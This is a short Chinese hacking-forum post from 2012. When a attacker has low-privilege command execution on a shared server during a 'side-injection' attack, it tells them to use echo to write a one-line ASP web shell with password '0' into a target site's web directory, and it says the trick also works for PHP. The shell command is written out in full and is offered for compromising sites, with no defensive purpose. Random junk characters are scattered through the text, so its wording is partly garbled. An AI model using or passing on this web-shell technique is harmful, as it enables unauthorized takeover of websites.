在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。2 H) f+ f4 m# l/ m
5 {1 j1 o) u/ ^* R, o命令格式9 L F& B; y& K" x; x2 K
0 e2 s2 T6 I% d4 d8 t) g* O4 U
Echo 语句 >目标站绝对目录8 W) v* F- g2 s! o
# D( x+ h4 n9 N( U
例如： " v8 K/ P( X2 n; u' c, ~
7 f/ k8 e p& K2 C. {' R
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
0 B& Q1 `. G! s D, A9 Y
5 e5 ]7 i% {5 F5 S; u8 g7 I. ]这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。- Z$ Q( c; O; b; d' U
|
发表于 2012-9-23 14:40:24
收藏
支持
反对